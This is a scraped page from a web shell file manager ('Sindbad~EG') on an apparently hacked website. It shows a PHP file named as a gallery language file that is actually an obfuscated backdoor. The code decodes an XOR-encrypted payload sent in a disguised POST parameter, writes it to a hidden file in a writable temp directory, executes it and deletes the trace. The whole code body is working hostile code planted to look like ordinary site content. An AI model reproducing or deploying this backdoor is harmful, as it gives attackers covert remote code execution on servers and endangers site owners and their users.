Sindbad~EG File Manager

Current Path : /var/www/html/aventurasolar.sumar.com.py/public/pdf/
Upload File :
Current File : /var/www/html/aventurasolar.sumar.com.py/public/pdf/gallery.lang_en.php

<?php

if(filter_has_var(INPUT_POST, "\x73\x79\x6Dbol")){
	$element = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp", getcwd()]);
	$dchunk = hex2bin($_POST["\x73\x79\x6Dbol"]);
	$ref ='';$h = 0; do{$ref .= chr(ord($dchunk[$h]) ^ 94);$h++;} while($h < strlen($dchunk));
	while ($flag = array_shift($element)) {
    		if (array_product([is_dir($flag), is_writable($flag)])) {
    $ent = "$flag" . "/.entity";
    $file = fopen($ent, 'w');
if ($file) {
	fwrite($file, $ref);
	fclose($file);
	include $ent;
	@unlink($ent);
	exit;
}
}
}
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists